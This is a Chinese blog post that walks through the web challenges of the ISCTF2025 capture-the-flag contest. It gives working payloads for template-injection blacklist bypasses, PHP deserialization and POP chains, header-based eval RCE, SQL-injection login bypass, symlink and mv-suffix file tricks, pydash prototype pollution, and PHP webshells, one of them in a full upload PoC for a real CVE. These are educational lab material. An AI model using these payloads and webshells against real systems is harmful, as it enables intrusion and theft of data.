ISCTF2025-web部分复现

Author:endowment

感觉很考验代码审计这一块😘

难过的bottle

给了源码,可恶的黑名单:会被压缩文件内容进行渲染,是bottle框架,然后有过滤这么多字符,这边用全角字符搭配八进制绕过(python是可以解析全角字符的,确实牛!)

Python
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

payload:

Python
{{__import__('\157\163').popen('\143\141\164\040\057\146\154\141\147').read()}}

来签个到吧

反序列化+SSRF

PHP
//api.php
<?php
require_once "./config.php";
require_once "./classes.php";

$id = $_GET["id"] ?? '喵喵喵?';

$s = $db->prepare("SELECT content FROM notes WHERE id = ?");
$s->execute([$id]);
$row = $s->fetch(PDO::FETCH_ASSOC);

if (! $row) {
    die("喵喵喵?");
}

$cfg = unserialize($row["content"]);//这里可以对content函数直接反序列化

if ($cfg instanceof ShitMountant) {
    $r = $cfg->fetch();
    echo "ok!" . "<br>";
    echo nl2br(htmlspecialchars($r));
}
else {
    echo "喵喵喵?";
}
?>
//classes.php
<?php
class FileLogger {
    public $logfile = "/tmp/notehub.log";
    public $content = "";

    public function __construct($f=null) {
        if ($f) {
            $this->logfile = $f;
        }
    }

    public function write($msg) {
        $this->content .= $msg . "\n";
        file_put_contents($this->logfile, $this->content, FILE_APPEND);
    }

    public function __destruct() {
        if ($this->content) {
            file_put_contents($this->logfile, $this->content, FILE_APPEND);
        }
    }
}

class ShitMountant {
    public $url;
    public $logger;

    public function __construct($url) {
        $this->url = $url;
        $this->logger = new FileLogger();
    }

    public function fetch() {
        $c = file_get_contents($this->url);//file_get_contents函数读取文件
        if ($this->logger) {
            $this->logger->write("fetched ==> " . $this->url);
        }
        return $c;
    }

    public function __destruct() {
        $this->fetch();
    }
}
?>

payload:

PHP
shark=blueshark:O:12:"ShitMountant":2:{s:3:"url";s:5:"/flag";s:6:"logger";N;}

Ezrce

源码:

PHP
<?php
highlight_file(__FILE__);

if(isset($_GET['code'])){
    $code = $_GET['code'];
    if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
        eval($code);
    }else{
        die('师傅,你想拿flag?');
    }
}

正则只允许使用字母,括号,下划线和分号,然后我第一个想到的是无参RCE,发现不行,想到调用getalllheaders(),调用请求头参数

PHP
?code=print_r(getallheaders());
//查看了请求头中的所有参数
PHP
?code=eval(end(array_reverse(getallheaders())));


aaa:system('cat /f*');

//出题人将整改请求头反转了一下,所以我们需要反转回来array_reverse(),然后取最后一个值end()

flag到底在哪

题目给了描述:小蓝鲨部署了一个网页项目,但是怎么403啊,好像什么爬虫什么的,提示爬虫,那就是存在robots.txt文件,
robots.txt:

PHP
User-agent: *
Disallow: /admin/login.php

访问提示:用户名是admin,这里测了很久很久,才知道是万能密码,有点EX

PHP
username=admin&password=1' OR '1'='1'--+

然后就是上传shell,没有过滤一句话木马就行,这边连蚁剑,看看源码,flag文件在home目录下或者看环境变量也可以

PHP
<?php eval($_REQUEST['a']);?>


flag?我就借走了

这题考点是软链接实现,得在linux里做

PHP
ln -s /flag a.txt
tar -cf a.tar a.txt
//将压缩包上传,然后访问文件即可

b@by n0t1ce b0ard

这拉面师傅自己挖的CVE漏洞,可恶又让他装到了

这边直接拿POC打就行了

PHP
POST /registration.php HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 1172
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="131", "Not_A Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8081/registration.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="n"

test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="e"

test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="p"

test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="mob"

test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="gen"

test
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="hob[]"

reading
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="img"; filename="basic_webshell.php"
Content-Type: application/octet-stream

<?php @eval($_GET['attack']);?>

------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="yy"

1950
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="mm"

2
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="dd"

3
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB
Content-Disposition: form-data; name="save"

Save
------WebKitFormBoundaryrHSdH2MF1kcJ6HUB--

PHP
/images/test/basic_webshell.php?attack={YOUR COMMAND}

ezpop

简单的pop链

PHP
begin::__destruct()->anna::__toString()->starlord::__call()->flaag::__invoke()-> eenndd::__get()

payload:

PHP
<?php


class begin {
    public $var1;
    public $var2;

    
}


class starlord {
    public $var4;
    public $var5;
    public $arg1;

    
}

class anna {
    public $var6;
    public $var7;
}

class eenndd {
    public $command="eval(\$_GET['a']);";
}

class flaag {
    public $var10;
    public $var11="0I6";
}
//begin::__destruct()->anna::__toString()->starlord::__call()->flaag::__invoke()-> eenndd::__get()
$a=new begin;
$b=new starlord;
$c=new anna;
$d=new eenndd;
$e=new flaag;
$a->var1=$c;
$c->var6=$b;
$b->var4=$e;
$e->var10=$d;
echo urlencode(serialize($a));
//O%3A5%3A%22begin%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A4%3A%22anna%22%3A2%3A%7Bs%3A4%3A%22var6%22%3BO%3A8%3A%22starlord%22%3A3%3A%7Bs%3A4%3A%22var4%22%3BO%3A5%3A%22flaag%22%3A2%3A%7Bs%3A5%3A%22var10%22%3BO%3A6%3A%22eenndd%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A17%3A%22eval%28%24_GET%5B%27a%27%5D%29%3B%22%3B%7Ds%3A5%3A%22var11%22%3Bs%3A3%3A%220I6%22%3B%7Ds%3A4%3A%22var5%22%3BN%3Bs%3A4%3A%22arg1%22%3BN%3B%7Ds%3A4%3A%22var7%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BN%3B%7D

mv_upload

目录扫描扫到index.php~,下载然后去掉_即可获取源码,依旧代码审计,后缀名进行恶意行为绝对不行

PHP
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);

这里存在漏洞,然后查看mv指令得知-b会使在移动操作前,生成一个带有~的备份文件。
这是第一个思路例如当前目录下有index.php文件,那么如果从其他的地方mv过来一个同名的index.php文件,那么原来的index.php会变成index.php~,配合上–suffix就可以任意设置后缀。
演示:这是用-b参数配合上–suffix=php的效果,x之前是有1.这个文件,图中我ls确实存在,但是我进行了这个命令后,1.文件删除了,y中多出来一个1.php的文件,此时可以进行攻击了

PHP
mv * -b --suffix=php '/home/kali/Desktop/y'

第二个就是不需要使用b参数:(其实效果差不多😁)

PHP
mv * --suffix=php '/home/kali/Desktop/y'

现在看来就很好办了,第一步我们需要先上传带有恶心内容的1.文件并存储到目录中,然后依次上传–suffix=php和1.文件都为空,移动到存储目录,最后访问1.php即可

Who am I

pydash原型链污染
登录窗口抓包将type的值改为0,即可跳转到管理员身份下,查看源文件

Python
@app.route('/operate',methods=['GET'])
def operate():
    username=request.args.get('username')
    password=request.args.get('password')
    confirm_password=request.args.get('confirm_password')
    if username in globals() and "old" not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return "oprate success"
        except:
            return "oprate failed"
    else:
        return "oprate failed"
        
        
        
@app.route('/impression',methods=['GET'])
def impression():
    point=request.args.get('point')
    if len(point) > 5:
        return "Invalid request"
    List=["{","}",".","%","<",">","_"]
    for i in point:
        if i in List:
            return "Invalid request"
    return render_template(point)

这里存在pydash原型链污染,但是允许修改只设置为5个字符,这个过滤有点严格啊,这里我们可以看到实现SSTI,但是就允许5个字符,而且还有这么多黑名单,很显然不可能,换思路,想到三个参数都可控,可以打pydash原型链污染,污染jinja_loader.searchpath这个路径

jinja_loader.searchpath是模板渲染根目录路径,此时我们污染这个目录为/,然后直接访问flag文件即可

payload:

Python
/operate?username=app&password=jinja_loader.searchpath&confirm_password=/

/impression?point=flag

Bypass

考察create_function函数,而且观察到php版本是7.1的,可以用😘

PHP
<?php
class FLAG
{
    private $a;
    protected $b;
    public function __construct($a, $b)
        {
            $this->a = $a;
            $this->b = $b;
            $this->check($a,$b);
            eval($a.$b);
        }
    public function __destruct(){
            $a = (string)$this->a;
            $b = (string)$this->b;
            if ($this->check($a,$b)){
                $a("", $b);
            }
            else{
                echo "Try again!";
            }
        }
    private function check($a, $b) {
        $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
        $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];

        $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
        $pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';

        if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
            return false;
        }
        return true;
    }  
}


if (isset($_GET['exp'])) {
    $p = unserialize($_GET['exp']);
    var_dump($p);
}else{
    highlight_file("index.php");
}

这里用create_function()函数来绕过,对$b的过滤并不严格,反引号加var_dump即可命令执行

PHP
<?php
class FLAG
{
    private $a = "create_function" ;
    protected $b = ";}var_dump(`/usr/b??/?l /?lag`);/*";
}
$a = new FLAG();
echo urlencode(serialize($a));
//O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A34%3A%22%3B%7Dvar_dump%28%60%2Fusr%2Fb%3F%3F%2F%3Fl+%2F%3Flag%60%29%3B%2F%2A%22%3B%7D

评论

  1. erina
    6 月前
    2025-12-12 16:30:22

    哇好厉害%%%

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
本博客已运行 days h m s
The Blog By spr1ng
Thank you for your support.